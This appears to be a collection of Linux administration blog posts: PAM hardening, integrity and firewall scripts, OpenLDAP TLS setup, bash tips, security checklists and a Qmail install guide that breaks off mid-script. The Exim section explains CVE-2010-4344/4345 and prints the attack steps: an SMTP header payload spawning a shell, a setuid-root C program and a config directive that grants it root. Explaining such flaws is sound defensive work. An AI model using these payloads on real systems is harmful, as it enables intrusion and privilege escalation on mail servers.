Each application with PAM support provides a configuration file in /etc/pam.d/ which can be used to modify its behavior:

• What backend is used for authentication.
• What backend is used for sessions.
• How do password checks behave.

PAM offers you the possibility to go through several authentication steps at once, without the user’s knowledge. You could authenticate against a Berkeley database and against the normal passwd file, and the user only logs in if he authenticates correct in both. You can restrict a lot with PAM, just as you can open your system doors very wide, so be careful. A typical configuration line has a control field as its second element. Generally it should be set to requisite, which returns a login failure if one module fails.

The first thing I like to do, is to add MD5 support to PAM applications, since this helps protect against dictionary cracks (passwords can be longer if using MD5). The following two lines should be added to all files in /etc/pam.d/ that grant access to the machine, like login and ssh.

# Be sure to install libpam-cracklib first or you will not be able to log in
       password   required     pam_cracklib.so retry=3 minlen=12 difok=3
       password   required     pam_unix.so use_authtok nullok md5

Here the first line loads the cracklibPAM module, which provides password strength-checking, prompts for a new password with a minimum length of 12 characters, a difference of at least 3 characters from the old password, and allows 3 retries. Cracklib depends on a word-list package (such as wenglish, wspanish, wbritish, etc.), so make sure you install one that is appropriate for your language or cracklib might not be useful to you at all. The second line introduces the standard authentication module with MD5 passwords and allows a zero length password. The use_authtok directive is necessary to hand over the password from the previous module.

If you want to make sure that the user root can only log into the system from local terminals, the following line should be enabled in /etc/pam.d/login

auth     requisite  pam_securetty.so

Then you should modify the list of terminals on which direct root login is allowed in /etc/securetty. Alternatively, you could enable the pam_access module and modify /etc/security/access.conf which allows for a more general and fine-tuned access control.

session  required   pam_limits.so

This restricts the system resources that users are allowed. For example, you could restrict the number of concurrent logins (of a given group of users, or system-wide), number of processes, memory size etc.

Now edit /etc/pam.d/passwd and change the first line. You should add the option “md5” to use MD5 passwords, change the minimum length of password from 4 to 6 (or more) and set a maximum length, if you desire. The resulting line will look something like:

password   required   pam_unix.so nullok obscure min=6 max=11 md5

If you want to protect su, so that only some people can use it to become root on your system, you need to add a new group “wheel” to your system. Add root and the other users that should be able to su to the root user to this group. Then add the following line to /etc/pam.d/su .

auth        requisite   pam_wheel.so group=wheel debug

This makes sure that only people from the group “wheel” can use su to become root. Other users will not be able to become root. In fact they will get a denied message if they try to become root.

If you want only certain users to authenticate at a PAM service, this is quite easy to achieve by using files where the users who are allowed to login (or not) are stored. Imagine you only want to allow user ‘X’ to log in via ssh. So you put him into /etc/sshusers-allowed and write the following into /etc/pam.d/ssh :

auth        required    pam_listfile.so item=user sense=allow file=/etc/sshusers-allowed onerr=fail

Last, but not least, create /etc/pam.d/other and enter the following lines:

       auth     required       pam_securetty.so
       auth     required       pam_unix_auth.so
       auth     required       pam_warn.so
       auth     required       pam_deny.so
       account  required       pam_unix_acct.so
       account  required       pam_warn.so
       account  required       pam_deny.so
       password required       pam_unix_passwd.so
       password required       pam_warn.so
       password required       pam_deny.so
       session  required       pam_unix_session.so
       session  required       pam_warn.so
       session  required       pam_deny.so

These lines will provide a good default configuration for all applications that support PAM (access is denied by default).

#!/bin/bash

#Usage:
#       chk_integrity.sh "/path/to/directory"

DATE=`date +%Y.%m.%d_%H.%M.%S.%N`

SHIFT=$[`tput cols`-10]
MOVE="\33["$SHIFT"G"
DEFAULT="\33[0;39m"
RED="\33[1;31m"
GREEN="\33[1;32m"
YELLOW="\33[1;33m"
BLUE="\33[1;34m"

logError_end() {
    echo -e "$MOVE$RED$1$DEFAULT"
}

logOk_end() {
    echo -e "$MOVE$GREEN$1$DEFAULT"
}

logWarning_end() {
    echo -e "$MOVE$YELLOW$1$DEFAULT"
}

checkSum() {
    #$1=file
    echo -en CheckSum:\\t$1
    file=`basename $1`
    dir=`dirname $1`
    (cd $dir && md5sum -c -- $file >/dev/null 2>&1 && logOk_end OK || logError_end ERROR)
}

calcSum() {
    #$1=file
    echo -en CalcSum:\\t$1
    file=`basename $1`
    dir=`dirname $1`
    (cd $dir && md5sum -b -- $file >$file.md5 2>/dev/null && logWarning_end CALCULATED || logError_end ERROR)
}

fin_process() {
    while read; do
        #echo $REPLY
        if test -n "`echo $REPLY | grep '\.md5$'`"; then
            checkSum $REPLY
        else
            if test ! -f "$REPLY.md5"; then
                calcSum $REPLY
            fi
        fi
    done
}

find $1 -type f | fin_process;

exit $?

Once the whole process is complete you can simply remove those .md5 files using the following command

find -name "*.md5" -exec rm {} \;

Hope you'll find this useful and I'm sure it will save your time in a great deal.

This method is heavily dependent on dnsmasq and iptables and I used following lines in /etc/dnsmasq.conf

domain-needed
bogus-priv
interface=wlan0
dhcp-range=192.168.0.50,192.168.0.150,12h

Then the rest is as follow. Make sure you run this as ‘root’

#!/bin/sh
#
# This script will instantly turn your wifi interface
# to an access-point and share your internet connection.
#

INET_IFACE="ppp0"
LAN_IFACE="wlan0"
LO_IFACE="lo"
LO_IP="127.0.0.1"
PUB_IP="192.168.0.254"
IPTABLES="/sbin/iptables"
SSID="MY-WIFI"

ifdown $LAN_IFACE
iwconfig $LAN_IFACE essid $SSID mode Ad-Hoc
ifconfig $LAN_IFACE $PUB_IP

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
echo 1 > /proc/sys/net/ipv4/ip_dynaddr
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
echo 1 > /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses
echo 1 > /proc/sys/net/ipv4/conf/all/rp_filter
echo 0 > /proc/sys/net/ipv4/conf/all/accept_source_route
echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
echo 0 > /proc/sys/net/ipv4/conf/all/secure_redirects
echo 1 > /proc/sys/net/ipv4/conf/all/proxy_arp
echo 1 > /proc/sys/net/ipv4/ip_forward

/etc/init.d/dnsmasq stop
/etc/init.d/dnsmasq start

for f in /proc/sys/net/ipv4/conf/*/rp_filter ; do echo 1 > $f ; done

$IPTABLES -F
$IPTABLES -t nat -F

$IPTABLES -P INPUT DROP
$IPTABLES -P OUTPUT DROP
$IPTABLES -P FORWARD DROP
$IPTABLES -N bad_tcp
$IPTABLES -N allowed
$IPTABLES -N tcp_pkg

$IPTABLES -A bad_tcp -p tcp --tcp-flags SYN,ACK SYN,ACK -m state --state NEW -j DROP
$IPTABLES -A bad_tcp -p tcp ! --syn -m state --state NEW -j LOG --log-prefix "New not syn:"
$IPTABLES -A bad_tcp -p tcp ! --syn -m state --state NEW -j DROP

$IPTABLES -A allowed -p TCP --syn -j ACCEPT
$IPTABLES -A allowed -p TCP -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A allowed -p TCP -j DROP

$IPTABLES -A tcp_pkg -p TCP -s 0/0 --dport 443  -j allowed
$IPTABLES -A tcp_pkg -p TCP -s 0/0 --dport 80 -j allowed
$IPTABLES -A INPUT -p ALL -m  state --state INVALID -j DROP
$IPTABLES -A INPUT -p ALL -i  $LO_IFACE  -j ACCEPT
$IPTABLES -A INPUT -p ALL -i  $LAN_IFACE  -j ACCEPT
$IPTABLES -A INPUT -p TCP -j  bad_tcp
$IPTABLES -A INPUT -p ALL -i  $INET_IFACE -m state --state ESTABLISHED,RELATED -j ACCEPT
$IPTABLES -A INPUT -p TCP -i  $INET_IFACE -j tcp_pkg
$IPTABLES -A OUTPUT -p ALL -s $LO_IP      -j ACCEPT
$IPTABLES -A OUTPUT -p ALL -o $INET_IFACE -j ACCEPT
$IPTABLES -A OUTPUT -p ALL -o $LAN_IFACE -j ACCEPT

$IPTABLES  -I FORWARD -i $LAN_IFACE  -d 192.168.0.0/255.255.0.0 -j DROP
$IPTABLES  -A FORWARD -i $LAN_IFACE  -s 192.168.0.0/255.255.0.0 -j ACCEPT
$IPTABLES  -A FORWARD -i $INET_IFACE -d 192.168.0.0/255.255.0.0 -j ACCEPT

$IPTABLES  -t nat -A POSTROUTING -o $INET_IFACE -j MASQUERADE

# END

That’s it. You can add/remove/change allowed ports accordingly as your requirement. Also you can monitor who connects to your wifi network and what are they doing via /var/log/syslog .

According to the National Vulnerability Database, the attack is possible due to a heap-based buffer overflow in the string_vformat function in string.c in Exim before 4.70. And it allows remote attackers to execute arbitrary code via an SMTP session that includes two MAIL commands in conjunction with a large message containing crafted headers which leads to improper rejection logging. The other vulnerability is on Exim 4.72 and earlier versions allows local users to gain privileges by leveraging the ability of the exim user account to specify an alternate configuration file with a directive that contains arbitrary commands, as demonstrated by the spool_directory directive. Those 2 vulnerabilities are reported under CVE-2010-4344 and CVE-2010-4345 respectively in the National Vulnerability Database.

Following is the sequence of the attack.

EHLO mail.mydomain.com
MAIL FROM:
RCPT TO:
DATA
Data001: FOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAA
....
Data058: FOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAAFOOAAA
HeaderX: ${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}}${run{/bin/sh -c 'exec /bin/sh -i &0 2>&0'}}........
BARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBB
BARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBB
..........
about 700000 the same strings
..........
BARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBBBARBBBB
BARBBBB
.

After this the attacker gets shell access under the id of Debian-Exim4 user and pwd in /var/spool/exim4. From there the attacker can easily escalate his privileges to root using setuid.

Example:

int main(int argc, char *argv[ ])
{
	setuid(0);
	setgid(0);
	setgroups(0, NULL);
	execl("/bin/sh", "sh", NULL);
}

And to get the setuid bit, he can create another file there called ex.conf with following content;

spool_directory = ${run{/bin/chown root:root /var/spool/exim4/setuid}}${run{/bin/chmod 4755 /var/spool/exim4/setuid}}

and by running,

exim -C ex.conf -q 

Debian has already released a patch and a patched version of Exim4 for Lenny and Squeeze.

Installing OpenLDAP and OpenSSL

You can either install slapd from apt repos or you can download it. Either way I assume now you have OpenLDAP server installed. Same slapd you can install openssl from apt repos or you can get the source from the web. Now let’s look at the configuring part.

sudo apt-get install slapd db4.2-util openssl

Generating self-signed certificates

During this process you’ll be asked a number of questions. When asked for the Common Name be sure to set it to the fully qualified domain name you will be using for your OpenLDAP secured server.

 sudo mkdir /etc/ldap/ssl
  cd /etc/ldap/ssl
  sudo openssl req -newkey rsa:1024 -x509 -nodes -out server.pem -keyout server.pem -days 3650

Generating a 1024 bit RSA private key
...................................................++++++
.....................................................................++++++
writing new private key to 'server.pem'
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (eg, YOUR name) []:ldap.yourserver.com
Email Address []:

Now you have created a self-signed certificate for 10 years. You can adjust this by changing the -days parameter.

Configuring slapd.conf

Let’s use ldap.yourserver.com as the FQDN of your LDAP server and continue with configuring slapd.conf.

You can find the configuration file at /etc/ldap/slapd.conf . At the bottom of the file, you can find lines related to SSL. Edit those lines so that it will look like;

# SSL:
# Uncomment the following lines to enable SSL and use the default
# snakeoil certificates.

#TLSCertificateFile /etc/ssl/certs/ssl-cert-snakeoil.pem
#TLSCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key

TLSCipherSuite HIGH:MEDIUM:-SSLv2
TLSCACertificateFile /etc/ldap/ssl/server.pem
TLSCertificateFile /etc/ldap/ssl/server.pem
TLSCertificateKeyFile /etc/ldap/ssl/server.pem

The TLSCipherSuite directive allows all ciphers using greater than 128-bit encryption  (HIGH), all ciphers with 128-bit encryption (MEDIUM), and disable all SSL version 2.0 ciphers (-SSLv2). Using SSLv2 is not recommended for use however if you really need it (i.e. incompatibilites) change -SSLv2 to +SSLv2.

Make slapd to start only with SSL

Default slapd startup parameters are specified in /etc/default/slapd. Change the SLAPD_SERVICES parameter to;

SLAPD_SERVICES="ldaps://ldap.yourserver.com"

Otherwise you can have it like;

SLAPD_SERVICES="ldaps://ldap.yourserver.com:639/ ldap://ldap.yourserver.com:389/"

Watch for ldap.yourserver.com resolving to 127.0.0.1; this could cause problems down the road.

Ok.. that’s pretty much it! You can now restart slapd

sudo /etc/init.d/slapd restart

Testing SSL connection to your LDAP server

openssl s_client -connect ldap.yourserver.com:636 -showcerts

If the connection is successful you will see the following line.

Verify return code: 18 (self signed certificate)

Testing local LDAP lookups

In the client machine edit /etc/ldap/ldap.conf to allow your self-signed certificate.

# See ldap.conf(5) for details
# This file should be world readable but not world writable.

BASE dc=YOURDOMAIN, dc=COM
URI ldaps://ldap.yourserver.com/
TLS_REQCERT allow

By setting TLS_REQCERT to allow, you are making sure that if no certificate is provided, the session proceeds normally. If a bad certificate is provided, it will be ignored and the session proceeds normally.

Finally from the client machine run;

ldapsearch -x

If it’s an empty data store you’ll see something like;

# extended LDIF
# LDAPv3
# base <> with scope sub
# filter: (objectclass=*)
# requesting: ALL
# search result
search: 2
result: 32 No such object
# numResponses: 1

That is it. You now have a secure OpenLDAP server using SSL and a self-signed certificate.

Enabling and disabling an alias

To list the configured aliases you can use the command ‘alias’ you’ll see something like this,

$ alias
alias ls='ls --color=auto'
alias rm='rm -i'

As you can see, rm is aliased as ‘rm -i‘ (to prompt before every removal). So if you try to remove any file using ‘rm‘, its going to prompt you for confirmation.

$ rm file.txt
rm: remove regular empty file `file.txt'? y

Now if you want the use ‘rm‘ command without the alias additions like rm -i, you can do it in two ways:

1 – Un-aliasing a command by simply prefixing the command with a ‘\’

$ \rm file.txt

2 – Using ‘unalias‘ command

$ unalias rm

The above ‘rm‘ one is just an example to illustrate this, you can also do ‘rm -f‘ for the same

Highlight match with color in grep command

Like bash ‘ls‘ command, grep supports color in its output. Which means you can highlight the text that grep matches with color.
This is controlled by ‘–color‘ option with grep command which basically surround the matching string with the marker find in GREP_COLOR environment variable.

$ grep --color=auto <pattern> <file>

You can also change this color by setting the GREP_COLOR environment variable to different combinations from the color code list given below.

For example, to highlight the matched pattern with foreground color black and background color yellow, you can say..

$ export GREP_COLOR='1;30;43'

The set display attributes list:

0 Reset all attributes
1 Bright
2 Dim
4 Underscore
5 Blink
7 Reverse
8 Hidden

Foreground Colours
30 Black
31 Red
32 Green
33 Yellow
34 Blue
35 Magenta
36 Cyan
37 White

Background Colours
40 Black
41 Red
42 Green
43 Yellow
44 Blue
45 Magenta
46 Cyan
47 White

Handling ‘argument list too long’

I have nearly 200,000 files in one of my log directory out of which number of files created in 2007 is 120,000. So whenever I try to do apply some command such as rm, ls or cp etc. on those big set of “*2007*.log” files, I used to get,

$ ls *2007*.log
bash: /bin/ls: Argument list too long

$ mv *2007*.log /backup
bash: /bin/mv: Argument list too long

“Argument list too long” error is occurring due to the limitation of the above commands to handle large number of arguments. But you can get the job done easily using the ‘find‘ command. For example, to copy the files to a separate location, you can say,

$ find .  -name "*2007*.log" -exec cp {} /backup/ \;

Same results can be achieved by the following as well..

find .  -name "k*2007*.log" | while read FILE
    do
    ...
    <some operation on $FILE>
    ...
done

Process substitution

This trick allows you to use a process almost anywhere you can use a file. To illustrate, let’s consider the diff command. Most versions of diff require you to pass exactly two file names as arguments. But what if we want to diff something, like the contents of a directory, that doesn’t necessarily exist in a file? This is where we can use process substitution. For example, to diff the contents of two directories, you could use:

diff <(find dir1) <(find dir2)

The syntax <(command) creates a named pipe, and attaches command’s STDOUT to the pipe. So, anything that reads from the pipe will actually be reading the output of command. To prove this to yourself, try the following:

$ echo <(/bin/true)
/dev/fd/63

$ ls -l <(/bin/true)
lr-x------  1 chamith chamith 64 Jul 13 21:50 /dev/fd/63 -> pipe:[723168]

$ file <(/bin/true)
/dev/fd/63: broken symbolic link to pipe:[728714]

Similarly, you can use the syntax >(command) to have the command read from the pipe. As an example:

tar cvf >(gzip -c > dir.tar.gz) dir

Obviously, there are better ways to accomplish taring and compressing, but the point was to use process substitution.

pushd / popd

Bash will keep a history of the directories you visit, you just have to ask. Bash stores the history in a stack and uses the commands pushd and popd to manage the stack.

pushd foo – move the current directory onto the stack and change to the ,em>foo directory.
popd – pops the top directory off of the stack and moves you into it.

We’re opening files all over the file system, internal code, vendor code, templates, configuration files, logs. Because of this we like the ability to take a detour on the file system and still navigate back to our working directory of the day. I think these commands are so useful that I alias’d them in my .bashrc :

alias cd="pushd"
alias bd="popd"

Now the ‘cd’ command manages the stack for me as well as changing directories. Aliasing popd to bd is an easy to remember and easy to type way to move back up the stack, think “change dir” and “back dir”

Hope you’ll find this post useful. Feel free to share your ideas about this post.

Installing System Patches

It is recommended that based on the requirement, you install every patch recommended for your computer which isn’t
yet installed. Since some patches restore default configurations, it’s important that patches are put in place before any further security precautions are taken.

Before Recording System Defaults

Before starting to record system defaults, a directory should be created to store them. For example;

mkdir /usr/adm/checks

If an unauthorized user does gain access to root privileges on the computer and changes the accounting system, the
administrator will still have an original copy of it for comparison. For safety, the system administrator should check the files against the original about once a month.

Recording SUID and SGID Programs

Before any software is added to the basic operating system release, the system administrator should check for SUID and SGID programs. If unauthorized access occurs, frequently the intruder will leave a program that enables privileged
re-entry. The list of SUID and SGID programs should be stored both on and off the computer. The version on the computer will be used by a daily cron job to check for changes, while the version stored off of the computer will ensure that even if root access is acquired, a record of the system’s original state is available.

The command to list SUID and SGID files is:

find / -type f \( -perm -002000 -o -perm -004000 \)

-type f: looks only at regular files
-perm:   checks for permissions

-002000: checks for SGID programs
-004000: checks for SUID programs

Check and Record Permissions on all Device Files

By changing the permissions on device files, an unauthorized user can gain access to devices, using this access to change files, impersonate another user, or listen in on conversations. Record the permissions on the device files on and off the computer using:

ls -al /dev/* | sort > /usr/adm/checks/devices

Passwords and Shells on System Accounts

Check the system password file to ensure that all accounts have passwords. Many vendors ship their computers with no passwords on the system accounts. System accounts such as bin, lp, and sync should have a ‘*’ for the password field. No account should be left without a password.

Also, the system administrator should check to see if the computer comes with any passwords already assigned. Some
vendors give default passwords to system accounts. Since anyone who has the same type of system knows what the default passwords are, passwords should be changed immediately.

Every account needs to have a shell assigned to it. Most administrative accounts should have /bin/nologin as the shell, which
would disallow crackers from gaining shell access using obscure system holes.

Expire Inactive Accounts

Computers with large numbers of users tend to have accounts that become inactive. The beginning of a new fiscal year often
brings changes in who is using the computer, as users’ funding sources change. The system administrator needs to be sensitive to those accounts that become inactive, and disable them by replacing the password field in the /etc/password file with an ‘*’. If the user has left important data on the computer, eventually they will contact the system administrator to make arrangements to retrieve the data. Once this data is retrieved, the account should be removed.

Restrict Root Login to the Console

The ability to login to the root account should be restricted to the console. Anyone not at the console should have to use ‘su’ to
become root. Tries to ‘su’ are recorded in a file in /usr/adm such as /usr/adm/sulog, for accounting purposes

Check for Duplicate Groups

Replace any duplicated group with a group of its own. This will remove ambiguity and make membership in a group clearer.

Do Not Establish Guest Accounts

Do not establish accounts for guest usage. These accounts, often appearing as an account with login guest and password
account, are common holes exploited by unauthorized users. Every user of the computer should undergo the same security procedures, receive the same security briefing, and be held accountable to the same standards. When users are finished using the computer, their accounts should be removed from the password file.

‘remote’ Commands

Commands preceded by the letter ‘r’, such as ‘rlogin‘ or ‘rsh‘, should be disabled. They are a source of many attacks on sites
across the Internet. If you must use ‘r’ commands, make sure you filter the TCP ports (512,513,514) at the router; it is important to note this will only stop outsiders from abusing the commands.

Double Check the System Before Long Weekends

Double check the computer before long weekends to ensure there are no security problems with it. A backup just
before a long weekend is advisable.

Do a Monthly System Check

Run the cron script against the cron stored on the removable media in case the unauthorized user gained root access and altered the system without being noticed.

System Security Diary

Keep a diary of the security checks done on the computer and what their results are. Also, document what actions are taken if holes are found or problems occur. If there is a problem, others will want to know what the system administrator has been doing to secure the computer.

Hope these tips would help you in your day-to-day life.

Qmail is an Internet Mail Transfer Agent (MTA) for UNIX-like operating systems. It’s a drop-in replacement for the Sendmail system provided with UNIX operating systems. Qmail uses the Simple Mail Transfer Protocol (SMTP) to exchange messages with MTA’s on other systems.

Why Qmail?

Your operating system might already have an MTA, probably Postfix or Sendmail, so if you’re reading this document you’re probably looking for something different. Some of the advantages of Qmail over vendor-provided MTA’s include:

• Security – Qmail was designed for high security. Sendmail has a long history of serious security problems. When Sendmail was written, the internet was a much friendlier place. Everyone knew everyone else, and there was little need to design and code for high security. Today’s Internet is a much more hostile environment for network servers. Sendmail’s author, Eric Allman, and the current maintainer, Claus Assman, have done a good job of tightening up the program, but nothing short of a redesign can achieve “true” security.
• Performance – Qmail parallelizes mail delivery, performing up to 20 deliveries simultaneously, by default.
• Reliability – Once Qmail accepts a message, it guarantees that it won’t be lost. Qmail also supports a new mailbox format that works reliably even over NFS without locking.
• Simplicity – Qmail is smaller than any other equivalently-featured MTA.

The Qmail web page, has a comprehensive list of Qmail’s features.

Comparison with other MTA’s

A book could be written about this topic, but it would be tedious reading. Here’s a quick comparison of Qmail with some of the most common UNIX MTA’s.

NOTE: Sendmailish means the MTA behaves like Sendmail in some ways that would make a switch from Sendmail to the alternative MTA more user-transparent, such as the use of .forward files, /etc/aliases, and delivery to /var/spool/mail.

Preparation

Before 2007-11-30, Qmail’s restrictive licensing regarding the distribution of pre-built packages meant that it was usually installed from a source code distribution. This may change in the future, especially if daemontools and ucspi-tcp are placed in the public domain. For now, though, source code is still the preferred distribution method for Qmail.

Before installing Qmail on a system, especially if this is your first Qmail installation, there are a few things you need to think about.

• If possible, install Qmail on a staging environment. This will give you a chance to make mistakes without losing important mail or interrupting mail service to your users.
• If you don’t have a spare, and your system is already handling mail using sendmail, smail, or some other MTA, you can install and test most pieces of Qmail without interfering with the existing service.
• When migrating a system from some other MTA to Qmail–even if you’ve got some Qmail experience under your belt–it’s a good idea to formulate a plan.

Note: The Qmail bin directory must reside on a file-system that allows the use of executable and setuid() files. Some OS distributions automatically mount /var with the nosuid or noexec options enabled. On such systems, either these options should be disabled or /var/qmail/bin should reside on another filesystem without these options enabled.

Download the soure

OK, so you’ve got a system meeting the requirements ready for installing Qmail. The first step is to download the source code for Qmail and any other add-ons. You’ll need qmail, of course, and you should probably also get ucspi-tcp and daemontools:

• Qmail – http://www.qmail.org/netqmail-1.06.tar.gz
• ucspi-tcp – http://cr.yp.to/ucspi-tcp/ucspi-tcp-0.88.tar.gz
• daemontools – http://cr.yp.to/daemontools/daemontools-0.76.tar.gz
  

Note: If any of the links fail, it’s probably because the package has been updated. In that case, you should go to http://cr.yp.to/software.html and follow the links to download the current version. It’s possible that upgraded versions aren’t compatible with the following instructions, so be sure to read the release notes in the “Upgrading from previous versions…” sections.

Unpack the distribution

To continue from this point onwards, you need a working C compiler and the tarballs. Next, copy or move the tarballs to the directory you want to do the work in. /usr/local/src is a good choice for qmail and ucspi-tcp. daemontools should be built under /package.

At this time you probably want to become root, if you’re not already.

    su
    umask 022
    mkdir -p /usr/local/src
    mv netqmail-1.06.tar.gz ucspi-tcp-0.88.tar.gz /usr/local/src
    mkdir -p /package
    mv daemontools-0.76.tar.gz /package
    chmod 1755 /package

Now you can unpack the packages.

    cd /usr/local/src
    gunzip netqmail-1.06.tar.gz
    tar xpf netqmail-1.06.tar
    gunzip ucspi-tcp-0.88.tar.gz
    tar xpf ucspi-tcp-0.88.tar
    rm *.tar      # optional, unless space is very tight
    cd /package
    gunzip daemontools-0.76.tar.gz
    tar xpf daemontools-0.76.tar
    rm *.tar      # optional, again

There should now be directories called /usr/local/src/netqmail-1.06, /usr/local/src/ucspi-tcp-0.88, and /package/admin/daemontools-0.76.

Create Directories

Since Qmail’s installation program creates the subdirectories as they’re needed, you only need to create the Qmail “home” directory:

    mkdir /var/qmail

And on to the next section.

Create users and groups

The easiest way to create the necessary users and groups is to create a little script file to do it for you. In the source directory you’ll find a file called INSTALL.ids. It contains the command lines for many platforms, so copying the file to another name and editing that is quick and easy.

    cd /usr/local/src/netqmail-1.06
    cp INSTALL.ids IDS

Then, using your favorite editor, remove all of the file except the lines you want. For example, here’s what IDS would look like for Linux after editing:

    groupadd nofiles
    useradd qmaild -g nofiles -d /var/qmail -s /usr/sbin/nologin
    useradd alias -g nofiles -d /var/qmail/alias -s /usr/sbin/nologin
    useradd qmaill -g nofiles -d /var/qmail -s /usr/sbin/nologin
    useradd qmailp -g nofiles -d /var/qmail -s /usr/sbin/nologin
    groupadd qmail
    useradd qmailq -g qmail -d /var/qmail -s /usr/sbin/nologin
    useradd qmailr -g qmail -d /var/qmail -s /usr/sbin/nologin
    useradd qmails -g qmail -d /var/qmail -s /usr/sbin/nologin

Then to run it, either use chmod to make it executable or run it with sh:

    chmod 700 IDS
    ./IDS

Let’s build Qmail

Now you can start building Qmail. Change to the /usr/local/src/netqmail-1.05/netqmail-1.05 directory and let’s get started:

    cd /usr/local/src/netqmail-1.06

Now type the following:

    make setup check

After the build is complete, you’ll need to do your post installation configuration. A couple of scripts are provided to make this job a lot easier.

If your DNS is configured properly, this script should be all you need at this point:

    ./config

If, for some reason, config can’t find your hostname in DNS, you’ll have to run the config-fast script:

    ./config-fast the.full.hostname

For example, if your domain is example.com and the hostname of your computer is foobar, your config-fast line would look like this:

    ./config-fast foobar.example.com

Install ucspi-tcp

Earlier, you unpacked the qmail, ucspi-tcp, and daemontools tarballs. Now change to the ucspi-tcp directory:

    cd /usr/local/src/ucspi-tcp-0.88

Then do:

    patch < /usr/local/src/netqmail-1.06/other-patches/ucspi-tcp-0.88.errno.patch
    make
    make setup check

That’s it. ucspi-tcp is installed.

Install daemontools

Change to the daemontools build directory:

    cd /package/admin/daemontools-0.76

Then do:

    cd src
    patch < /usr/local/src/netqmail-1.06/other-patches/daemontools-0.76.errno.patch
    cd ..
    package/install

Start Qmail

The /var/qmail/boot directory contains example qmail boot scripts for different configurations: /var/spool/mail vs. $HOME/Mailbox, using procmail or dot-forward, and various combinations of these. Feel free to examine these, but for our installation, we’ll use the following script:

/var/qmail/rc

#!/bin/sh

# Using stdout for logging
# Using control/defaultdelivery from qmail-local to deliver messages by default

exec env - PATH="/var/qmail/bin:$PATH" \
qmail-start "`cat /var/qmail/control/defaultdelivery`"

Note: This script uses backquotes (`), not single quotes ('). For best results, copy and paste the scripts in this guide instead of retyping them.

Use your editor to create the above /var/qmail/rc, then execute these commands:

    chmod 755 /var/qmail/rc
    mkdir /var/log/qmail

At this point you need to decide the default delivery mode for messages that aren’t delivered by a .qmail file. The following table outlines some common choices.

To select your default mailbox type, just enter the defaultdelivery value from the table into /var/qmail/control/defaultdelivery. E.g., to select the standard Qmail Mailbox delivery, do:

    echo ./Maildir > /var/qmail/control/defaultdelivery

System startup files

If you were to manually execute the /var/qmail/rc script, qmail would be partially started. But we want qmail started up automatically every time the system is booted and we want it shut down cleanly when the system is halted.

This is accomplished by creating a startup/shutdown script like the following in /var/qmail/bin/qmailctl:

#!/bin/sh

# description: the qmail MTA

PATH=/var/qmail/bin:/bin:/usr/bin:/usr/local/bin:/usr/local/sbin
export PATH

QMAILDUID=`id -u qmaild`
NOFILESGID=`id -g qmaild`

case "$1" in
  start)
    echo "Starting qmail"
    if svok /service/qmail-send ; then
      svc -u /service/qmail-send /service/qmail-send/log
    else
      echo "qmail-send supervise not running"
    fi
    if svok /service/qmail-smtpd ; then
      svc -u /service/qmail-smtpd /service/qmail-smtpd/log
    else
      echo "qmail-smtpd supervise not running"
    fi
    if [ -d /var/lock/subsys ]; then
      touch /var/lock/subsys/qmail
    fi
    ;;
  stop)
    echo "Stopping qmail..."
    echo "  qmail-smtpd"
    svc -d /service/qmail-smtpd /service/qmail-smtpd/log
    echo "  qmail-send"
    svc -d /service/qmail-send /service/qmail-send/log
    if [ -f /var/lock/subsys/qmail ]; then
      rm /var/lock/subsys/qmail
    fi
    ;;
  stat)
    svstat /service/qmail-send
    svstat /service/qmail-send/log
    svstat /service/qmail-smtpd
    svstat /service/qmail-smtpd/log
    qmail-qstat
    ;;
  doqueue|alrm|flush)
    echo "Flushing timeout table and sending ALRM signal to qmail-send."
    /var/qmail/bin/qmail-tcpok
    svc -a /service/qmail-send
    ;;
  queue)
    qmail-qstat
    qmail-qread
    ;;
  reload|hup)
    echo "Sending HUP signal to qmail-send."
    svc -h /service/qmail-send
    ;;
  pause)
    echo "Pausing qmail-send"
    svc -p /service/qmail-send
    echo "Pausing qmail-smtpd"
    svc -p /service/qmail-smtpd
    ;;
  cont)
    echo "Continuing qmail-send"
    svc -c /service/qmail-send
    echo "Continuing qmail-smtpd"
    svc -c /service/qmail-smtpd
    ;;
  restart)
    echo "Restarting qmail:"
    echo "* Stopping qmail-smtpd."
    svc -d /service/qmail-smtpd /service/qmail-smtpd/log
    echo "* Sending qmail-send SIGTERM and restarting."
    svc -t /service/qmail-send /service/qmail-send/log
    echo "* Restarting qmail-smtpd."
    svc -u /service/qmail-smtpd /service/qmail-smtpd/log
    ;;
  cdb)
    tcprules /etc/tcp.smtp.cdb /etc/tcp.smtp.tmp < /etc/tcp.smtp
    chmod 644 /etc/tcp.smtp.cdb
    echo "Reloaded /etc/tcp.smtp."
    ;;
  help)
    cat <<HELP
   stop -- stops mail service (smtp connections refused, nothing goes out)
  start -- starts mail service (smtp connection accepted, mail can go out)
  pause -- temporarily stops mail service (connections accepted, nothing leaves)
   cont -- continues paused mail service
   stat -- displays status of mail service
    cdb -- rebuild the tcpserver cdb file for smtp
restart -- stops and restarts smtp, sends qmail-send a TERM & restarts it
doqueue -- schedules queued messages for immediate delivery
 reload -- sends qmail-send HUP, rereading locals and virtualdomains
  queue -- shows status of queue
   alrm -- same as doqueue
  flush -- same as doqueue
    hup -- same as reload
HELP
    ;;
  *)
